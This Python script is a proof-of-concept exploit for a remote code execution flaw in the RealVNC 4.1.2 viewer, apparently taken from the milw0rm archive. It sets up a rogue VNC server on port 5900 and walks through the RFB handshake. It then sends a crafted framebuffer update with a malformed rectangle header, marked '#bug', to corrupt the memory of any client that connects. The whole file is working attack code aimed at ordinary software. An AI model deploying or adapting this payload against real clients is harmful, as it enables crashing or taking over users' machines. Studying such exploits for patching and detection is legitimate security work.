53 lines
No EOL
2.1 KiB
Python
Executable file
53 lines
No EOL
2.1 KiB
Python
Executable file
#!/usr/bin/env python
|
|
# POC: RealVNC 4.1.2 'vncviewer.exe' RFB Protocol Remote Code Execution Vulnerability, BID 30499
|
|
#Author: Andres Lopez Luksenberg <polakocai@gmail.com>
|
|
#
|
|
import socket
|
|
|
|
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
serversocket.bind(('', 5900))
|
|
serversocket.listen(1)
|
|
|
|
while True:
|
|
clientsocket, clientaddres = serversocket.accept()
|
|
|
|
data = 'RFB 003.008\n'
|
|
clientsocket.sendall(data)
|
|
|
|
data_cli = clientsocket.recv(1024)
|
|
print data_cli
|
|
|
|
data = '\x01\x01'
|
|
clientsocket.sendall(data)
|
|
|
|
data_cli = clientsocket.recv(1024)
|
|
print repr(data_cli)
|
|
|
|
data = '\x00\x00\x00\x00'
|
|
clientsocket.sendall(data)
|
|
|
|
data = '\x02\xd0\x01\x77\x08\x08\x00\x00\x00\x07\x00\x07\x00\x03\x00\x03\x06\x00\x00\x00\x00\x00\x00\x13\x4c\x69\x6e\x75\x78\x56\x4e\x43\x3a\x20\x2f\x64\x65\x76\x2f\x74\x74\x79\x32'
|
|
|
|
clientsocket.sendall(data)
|
|
|
|
data_cli = clientsocket.recv(1024)
|
|
print repr(data_cli)
|
|
|
|
data_cli = clientsocket.recv(1024)
|
|
print repr(data_cli)
|
|
|
|
data_cli = clientsocket.recv(1024)
|
|
print repr(data_cli)
|
|
|
|
data='\x00\x00\x00\x03\x00\x03\x00\x03\x00\x08\x00\x07'
|
|
|
|
data = data + '\x00\x00\xff\xff' #bug
|
|
|
|
data = data + '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe7\xe7\x7e\x3c\x7e\xe7\xe7'
|
|
|
|
clientsocket.sendall(data)
|
|
|
|
clientsocket.close()
|
|
serversocket.close()
|
|
|
|
# milw0rm.com [2009-02-02] |